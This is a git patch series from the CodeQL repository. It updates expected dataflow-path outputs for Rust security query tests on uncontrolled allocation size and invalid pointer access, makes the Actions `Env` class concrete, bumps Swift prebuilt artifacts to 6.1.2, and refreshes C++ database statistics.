| provenance | MaD:31 | +| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:34 | | main.rs:161:19:161:68 | ... .unwrap() | main.rs:161:13:161:15 | l13 | provenance | | -| main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:162:35:162:37 | l13 | main.rs:162:17:162:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:162:35:162:37 | l13 | main.rs:169:35:169:37 | l13 | provenance | | | main.rs:169:35:169:37 | l13 | main.rs:169:17:169:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:177:31:177:32 | l1 | main.rs:177:13:177:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:183:29:183:36 | ...: usize | main.rs:192:46:192:46 | v | provenance | | +| main.rs:183:29:183:36 | ...: usize | main.rs:202:48:202:48 | v | provenance | | | main.rs:192:9:192:10 | l2 | main.rs:193:38:193:39 | l2 | provenance | | -| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:34 | | main.rs:192:14:192:56 | ... .unwrap() | main.rs:192:9:192:10 | l2 | provenance | | -| main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:10 Sink:MaD:10 | +| main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:11 Sink:MaD:11 | | main.rs:193:38:193:39 | l2 | main.rs:194:45:194:46 | l2 | provenance | | -| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:11 Sink:MaD:11 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:12 Sink:MaD:12 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:12 Sink:MaD:12 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:13 Sink:MaD:13 | | main.rs:194:45:194:46 | l2 | main.rs:195:41:195:42 | l2 | provenance | | | main.rs:195:41:195:42 | l2 | main.rs:195:32:195:39 | allocate | provenance | MaD:6 Sink:MaD:6 | | main.rs:195:41:195:42 | l2 | main.rs:196:48:196:49 | l2 | provenance | | | main.rs:196:48:196:49 | l2 | main.rs:196:32:196:46 | allocate_zeroed | provenance | MaD:7 Sink:MaD:7 | | main.rs:196:48:196:49 | l2 | main.rs:197:41:197:42 | l2 | provenance | | | main.rs:197:41:197:42 | l2 | main.rs:197:32:197:39 | allocate | provenance | MaD:1 Sink:MaD:1 | +| main.rs:197:41:197:42 | l2 | main.rs:197:32:197:39 | allocate | provenance | MaD:1 Sink:MaD:1 | | main.rs:197:41:197:42 | l2 | main.rs:198:48:198:49 | l2 | provenance | | | main.rs:198:48:198:49 | l2 | main.rs:198:32:198:46 | allocate_zeroed | provenance | MaD:2 Sink:MaD:2 | +| main.rs:198:48:198:49 | l2 | main.rs:198:32:198:46 | allocate_zeroed | provenance | MaD:2 Sink:MaD:2 | | main.rs:198:48:198:49 | l2 | main.rs:208:53:208:54 | l2 | provenance | | | main.rs:198:48:198:49 | l2 | main.rs:210:60:210:61 | l2 | provenance | | +| main.rs:202:48:202:48 | v | main.rs:202:32:202:38 | realloc | provenance | MaD:14 Sink:MaD:14 | | main.rs:208:53:208:54 | l2 | main.rs:208:40:208:43 | grow | provenance | MaD:8 Sink:MaD:8 | | main.rs:210:60:210:61 | l2 | main.rs:210:40:210:50 | grow_zeroed | provenance | MaD:9 Sink:MaD:9 | | main.rs:217:27:217:34 | ...: usize | main.rs:219:26:219:26 | v | provenance | | -| main.rs:219:26:219:26 | v | main.rs:219:13:219:24 | ...::malloc | provenance | MaD:14 Sink:MaD:14 | +| main.rs:219:26:219:26 | v | main.rs:219:13:219:24 | ...::malloc | provenance | MaD:17 Sink:MaD:17 | | main.rs:219:26:219:26 | v | main.rs:220:36:220:36 | v | provenance | | -| main.rs:220:36:220:36 | v | main.rs:220:13:220:31 | ...::aligned_alloc | provenance | MaD:12 Sink:MaD:12 | +| main.rs:220:36:220:36 | v | main.rs:220:13:220:31 | ...::aligned_alloc | provenance | MaD:15 Sink:MaD:15 | | main.rs:220:36:220:36 | v | main.rs:222:30:222:30 | v | provenance | | -| main.rs:222:30:222:30 | v | main.rs:222:13:222:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | +| main.rs:222:30:222:30 | v | main.rs:222:13:222:24 | ...::calloc | provenance | MaD:16 Sink:MaD:16 | | main.rs:222:30:222:30 | v | main.rs:223:26:223:26 | v | provenance | | -| main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | +| main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:16 Sink:MaD:16 | | main.rs:223:26:223:26 | v | main.rs:224:31:224:31 | v | provenance | | -| main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:15 Sink:MaD:15 | -| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:32 | +| main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:18 Sink:MaD:18 | +| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:35 | | main.rs:280:9:280:17 | num_bytes | main.rs:282:54:282:62 | num_bytes | provenance | | | main.rs:280:21:280:47 | user_input.parse() [Ok] | main.rs:280:21:280:48 | TryExpr | provenance | | | main.rs:280:21:280:48 | TryExpr | main.rs:280:9:280:17 | num_bytes | provenance | | | main.rs:282:9:282:14 | layout | main.rs:284:40:284:45 | layout | provenance | | -| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:31 | +| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:34 | | main.rs:282:18:282:75 | ... .unwrap() | main.rs:282:9:282:14 | layout | provenance | | -| main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:284:40:284:45 | layout | main.rs:284:22:284:38 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:29 | +| main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:19 | +| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:38 | +| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:32 | | main.rs:308:25:308:74 | ... .unwrap_or(...) | main.rs:279:24:279:41 | ...: String | provenance | | | main.rs:317:9:317:9 | v | main.rs:320:34:320:34 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:321:42:321:42 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:322:36:322:36 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:323:27:323:27 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:324:25:324:25 | v | provenance | | -| main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:29 | -| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:32 | -| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:31 | +| main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:19 | +| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:38 | +| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:32 | +| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:35 | +| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:34 | | main.rs:317:13:317:91 | ... .unwrap() | main.rs:317:9:317:9 | v | provenance | | | main.rs:320:34:320:34 | v | main.rs:12:36:12:43 | ...: usize | provenance | | | main.rs:321:42:321:42 | v | main.rs:43:44:43:51 | ...: usize | provenance | | @@ -266,31 +279,34 @@ models | 8 | Sink: lang:std; ::grow; alloc-layout; Argument[2] | | 9 | Sink: lang:std; ::grow_zeroed; alloc-layout; Argument[2] | | 10 | Sink: lang:std; ::alloc; alloc-layout; Argument[0] | -| 11 | Sink: lang:std; ::alloc_zeroed; alloc-layout; Argument[0] | -| 12 | Sink: repo:https://github.com/rust-lang/libc:libc; ::aligned_alloc; alloc-size; Argument[1] | -| 13 | Sink: repo:https://github.com/rust-lang/libc:libc; ::calloc; alloc-size; Argument[0,1] | -| 14 | Sink: repo:https://github.com/rust-lang/libc:libc; ::malloc; alloc-size; Argument[0] | -| 15 | Sink: repo:https://github.com/rust-lang/libc:libc; ::realloc; alloc-size; Argument[1] | -| 16 | Source: lang:std; crate::env::args; commandargs; ReturnValue.Element | -| 17 | Summary: lang:core; ::align_to; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 18 | Summary: lang:core; ::array; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 19 | Summary: lang:core; ::extend; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 20 | Summary: lang:core; ::extend; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 21 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 22 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 23 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | -| 25 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | -| 26 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 27 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 28 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | -| 29 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 30 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 31 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 32 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 33 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | -| 34 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | -| 35 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 11 | Sink: lang:std; ::alloc; alloc-size; Argument[0] | +| 12 | Sink: lang:std; ::alloc_zeroed; alloc-layout; Argument[0] | +| 13 | Sink: lang:std; ::alloc_zeroed; alloc-size; Argument[0] | +| 14 | Sink: lang:std; ::realloc; alloc-size; Argument[2] | +| 15 | Sink: repo:https://github.com/rust-lang/libc:libc; ::aligned_alloc; alloc-size; Argument[1] | +| 16 | Sink: repo:https://github.com/rust-lang/libc:libc; ::calloc; alloc-size; Argument[0,1] | +| 17 | Sink: repo:https://github.com/rust-lang/libc:libc; ::malloc; alloc-size; Argument[0] | +| 18 | Sink: repo:https://github.com/rust-lang/libc:libc; ::realloc; alloc-size; Argument[1] | +| 19 | Source: lang:std; crate::env::args; commandargs; ReturnValue.Element | +| 20 | Summary: lang:core; ::align_to; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 21 | Summary: lang:core; ::array; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 22 | Summary: lang:core; ::extend; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 23 | Summary: lang:core; ::extend; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 24 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 25 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 26 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 27 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | +| 28 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | +| 29 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 30 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 31 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | +| 32 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 33 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 34 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 35 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 36 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | +| 37 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | +| 38 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | nodes | main.rs:12:36:12:43 | ...: usize | semmle.label | ...: usize | | main.rs:18:13:18:31 | ...::realloc | semmle.label | ...::realloc | @@ -448,17 +464,24 @@ nodes | main.rs:192:14:192:56 | ... .unwrap() | semmle.label | ... .unwrap() | | main.rs:192:46:192:46 | v | semmle.label | v | | main.rs:193:32:193:36 | alloc | semmle.label | alloc | +| main.rs:193:32:193:36 | alloc | semmle.label | alloc | | main.rs:193:38:193:39 | l2 | semmle.label | l2 | | main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | +| main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | +| main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | | main.rs:194:45:194:46 | l2 | semmle.label | l2 | | main.rs:195:32:195:39 | allocate | semmle.label | allocate | | main.rs:195:41:195:42 | l2 | semmle.label | l2 | | main.rs:196:32:196:46 | allocate_zeroed | semmle.label | allocate_zeroed | | main.rs:196:48:196:49 | l2 | semmle.label | l2 | | main.rs:197:32:197:39 | allocate | semmle.label | allocate | +| main.rs:197:32:197:39 | allocate | semmle.label | allocate | | main.rs:197:41:197:42 | l2 | semmle.label | l2 | | main.rs:198:32:198:46 | allocate_zeroed | semmle.label | allocate_zeroed | +| main.rs:198:32:198:46 | allocate_zeroed | semmle.label | allocate_zeroed | | main.rs:198:48:198:49 | l2 | semmle.label | l2 | +| main.rs:202:32:202:38 | realloc | semmle.label | realloc | +| main.rs:202:48:202:48 | v | semmle.label | v | | main.rs:208:40:208:43 | grow | semmle.label | grow | | main.rs:208:53:208:54 | l2 | semmle.label | l2 | | main.rs:210:40:210:50 | grow_zeroed | semmle.label | grow_zeroed | @@ -501,3 +524,5 @@ nodes | main.rs:323:27:323:27 | v | semmle.label | v | | main.rs:324:25:324:25 | v | semmle.label | v | subpaths +testFailures +| main.rs:202:32:202:38 | realloc | Unexpected result: Alert=arg1 | diff --git a/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected b/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected index 7bccaa02f63..e8a0eead8f9 100644 --- a/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected +++ b/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected @@ -10,9 +10,12 @@ | deallocation.rs:95:5:95:31 | ...::write::<...> | deallocation.rs:70:3:70:21 | ...::dealloc | deallocation.rs:95:5:95:31 | ...::write::<...> | This operation dereferences a pointer that may be $@. | deallocation.rs:70:3:70:21 | ...::dealloc | invalid | | deallocation.rs:115:13:115:18 | my_ptr | deallocation.rs:112:3:112:12 | ...::free | deallocation.rs:115:13:115:18 | my_ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:112:3:112:12 | ...::free | invalid | | deallocation.rs:130:14:130:15 | p1 | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:130:14:130:15 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:123:23:123:40 | ...::dangling | invalid | +| deallocation.rs:130:14:130:15 | p1 | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:130:14:130:15 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:123:23:123:40 | ...::dangling | invalid | | deallocation.rs:131:14:131:15 | p2 | deallocation.rs:124:21:124:42 | ...::dangling_mut | deallocation.rs:131:14:131:15 | p2 | This operation dereferences a pointer that may be $@. | deallocation.rs:124:21:124:42 | ...::dangling_mut | invalid | | deallocation.rs:132:14:132:15 | p3 | deallocation.rs:125:23:125:36 | ...::null | deallocation.rs:132:14:132:15 | p3 | This operation dereferences a pointer that may be $@. | deallocation.rs:125:23:125:36 | ...::null | invalid | | deallocation.rs:180:15:180:16 | p1 | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:180:15:180:16 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:176:3:176:25 | ...::drop_in_place | invalid | +| deallocation.rs:180:15:180:16 | p1 | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:180:15:180:16 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:176:3:176:25 | ...::drop_in_place | invalid | +| deallocation.rs:248:18:248:20 | ptr | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:248:18:248:20 | ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:242:3:242:25 | ...::drop_in_place | invalid | | deallocation.rs:248:18:248:20 | ptr | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:248:18:248:20 | ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:242:3:242:25 | ...::drop_in_place | invalid | edges | deallocation.rs:20:3:20:21 | ...::dealloc | deallocation.rs:20:23:20:24 | [post] m1 | provenance | Src:MaD:3 MaD:3 | @@ -33,6 +36,7 @@ edges | deallocation.rs:112:14:112:40 | [post] my_ptr as ... | deallocation.rs:115:13:115:18 | my_ptr | provenance | | | deallocation.rs:123:6:123:7 | p1 | deallocation.rs:130:14:130:15 | p1 | provenance | | | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:123:23:123:42 | ...::dangling(...) | provenance | Src:MaD:4 MaD:4 | +| deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:123:23:123:42 | ...::dangling(...) | provenance | Src:MaD:4 MaD:4 | | deallocation.rs:123:23:123:42 | ...::dangling(...) | deallocation.rs:123:6:123:7 | p1 | provenance | | | deallocation.rs:124:6:124:7 | p2 | deallocation.rs:131:14:131:15 | p2 | provenance | | | deallocation.rs:124:21:124:42 | ...::dangling_mut | deallocation.rs:124:21:124:44 | ...::dangling_mut(...) | provenance | Src:MaD:5 MaD:5 | @@ -41,8 +45,10 @@ edges | deallocation.rs:125:23:125:36 | ...::null | deallocation.rs:125:23:125:38 | ...::null(...) | provenance | Src:MaD:7 MaD:7 | | deallocation.rs:125:23:125:38 | ...::null(...) | deallocation.rs:125:6:125:7 | p3 | provenance | | | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:176:27:176:28 | [post] p1 | provenance | Src:MaD:6 MaD:6 | +| deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:176:27:176:28 | [post] p1 | provenance | Src:MaD:6 MaD:6 | | deallocation.rs:176:27:176:28 | [post] p1 | deallocation.rs:180:15:180:16 | p1 | provenance | | | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:242:27:242:29 | [post] ptr | provenance | Src:MaD:6 MaD:6 | +| deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:242:27:242:29 | [post] ptr | provenance | Src:MaD:6 MaD:6 | | deallocation.rs:242:27:242:29 | [post] ptr | deallocation.rs:248:18:248:20 | ptr | provenance | | models | 1 | Sink: lang:core; crate::ptr::read; pointer-access; Argument[0] | @@ -75,6 +81,7 @@ nodes | deallocation.rs:115:13:115:18 | my_ptr | semmle.label | my_ptr | | deallocation.rs:123:6:123:7 | p1 | semmle.label | p1 | | deallocation.rs:123:23:123:40 | ...::dangling | semmle.label | ...::dangling | +| deallocation.rs:123:23:123:40 | ...::dangling | semmle.label | ...::dangling | | deallocation.rs:123:23:123:42 | ...::dangling(...) | semmle.label | ...::dangling(...) | | deallocation.rs:124:6:124:7 | p2 | semmle.label | p2 | | deallocation.rs:124:21:124:42 | ...::dangling_mut | semmle.label | ...::dangling_mut | @@ -86,9 +93,11 @@ nodes | deallocation.rs:131:14:131:15 | p2 | semmle.label | p2 | | deallocation.rs:132:14:132:15 | p3 | semmle.label | p3 | | deallocation.rs:176:3:176:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | +| deallocation.rs:176:3:176:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | | deallocation.rs:176:27:176:28 | [post] p1 | semmle.label | [post] p1 | | deallocation.rs:180:15:180:16 | p1 | semmle.label | p1 | | deallocation.rs:242:3:242:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | +| deallocation.rs:242:3:242:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | | deallocation.rs:242:27:242:29 | [post] ptr | semmle.label | [post] ptr | | deallocation.rs:248:18:248:20 | ptr | semmle.label | ptr | subpaths From 338d3834c4beaaf04c3b62c10bf37867f287fbc4 Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Thu, 5 Jun 2025 10:21:24 +0100 Subject: [PATCH 178/271] Actions: Make `Env` non-abstract `class Env` was previously abstract with no concrete descendants, so user queries like `any(Env e | ...)` would never produce results. In the JS library the corresponding class derived from `YamlNode` and has concrete descendants representing workflow-, job- and step-level `env` nodes. However these are dubiously useful since you can always just use `any(Step s).getEnv()` to achieve the same result. Since `EnvImpl` already fully characterises an `env` node, I simply make the class concrete. --- actions/ql/lib/codeql/actions/Ast.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll index 8c1925f3288..ae19a7a7e8c 100644 --- a/actions/ql/lib/codeql/actions/Ast.qll +++ b/actions/ql/lib/codeql/actions/Ast.qll @@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl { string getNormalizedExpression() { result = normalizeExpr(expression) } } -/** A common class for `env` in workflow, job or step. */ -abstract class Env extends AstNode instanceof EnvImpl { +/** An `env` in workflow, job or step. */ +class Env extends AstNode instanceof EnvImpl { /** Gets an environment variable value given its name. */ ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) } From 3f89dd3c4e20a76f5feed7fdec2dd0ee52498ac4 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:16:18 +0200 Subject: [PATCH 179/271] Swift: Update to Swift 6.1.2 --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 5 +++++ swift/third_party/load.bzl | 4 ++++ 2 files changed, 9 insertions(+) create mode 100644 swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md new file mode 100644 index 00000000000..448b8210756 --- /dev/null +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -0,0 +1,5 @@ + +--- +category: minorAnalysis +--- +* Updated to allow analysis of Swift 6.1.2. diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index d19345a1880..a61e1ebd289 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,6 +5,10 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main + "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", + "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", + "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", + "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" From 5b5d85580899c8c2dee93144817461733f99b7d9 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 14:47:10 +0200 Subject: [PATCH 180/271] Swift: Remove empty line from change note --- swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md | 1 - 1 file changed, 1 deletion(-) diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md index 448b8210756..60adc9e1cfc 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md @@ -1,4 +1,3 @@ - --- category: minorAnalysis --- From 057d3ebfdf4ed1e900e9c8125e95294e1f0837a5 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 5 Jun 2025 15:57:55 +0200 Subject: [PATCH 181/271] C++: Update stats file after changes to DCA source suite --- cpp/ql/lib/semmlecode.cpp.dbscheme.stats | 12279 ++++++++++----------- 1 file changed, 6072 insertions(+), 6207 deletions(-) diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats index 201725ec5d1..bca58ed2f5b 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats @@ -2,7 +2,7 @@ @compilation - 16209 + 16142 @externalDataElement @@ -18,63 +18,63 @@ @location_default - 31651328 + 36226754 @location_stmt - 5201796 + 5202209 @location_expr - 17955097 + 17956521 @diagnostic - 1590 + 1588 @file - 83605 + 83260 @folder - 15884 + 15818 @macro_expansion - 40282895 + 40121869 @other_macro_reference - 313754 + 312756 @function - 3352272 + 4015439 @fun_decl - 3384193 + 4154519 @var_decl - 6734162 + 9247204 @type_decl - 1889998 + 1882105 @namespace_decl - 425663 + 430914 @using_declaration - 333109 + 341862 @using_directive - 8151 + 8125 @using_enum_declaration @@ -82,323 +82,323 @@ @static_assert - 183988 + 183493 @parameter - 4792289 + 6965639 @membervariable - 1441877 + 1489139 @globalvariable - 425545 + 466518 @localvariable - 735182 + 734804 @enumconstant - 330375 + 343781 @errortype - 134 + 125 @unknowntype - 134 + 125 @void - 134 + 125 @boolean - 134 + 125 @char - 134 + 125 @unsigned_char - 134 + 125 @signed_char - 134 + 125 @short - 134 + 125 @unsigned_short - 134 + 125 @signed_short - 134 + 125 @int - 134 + 125 @unsigned_int - 134 + 125 @signed_int - 134 + 125 @long - 134 + 125 @unsigned_long - 134 + 125 @signed_long - 134 + 125 @long_long - 134 + 125 @unsigned_long_long - 134 + 125 @signed_long_long - 134 + 125 @float - 134 + 125 @double - 134 + 125 @long_double - 134 + 125 @complex_float - 134 + 125 @complex_double - 134 + 125 @complex_long_double - 134 + 125 @imaginary_float - 134 + 125 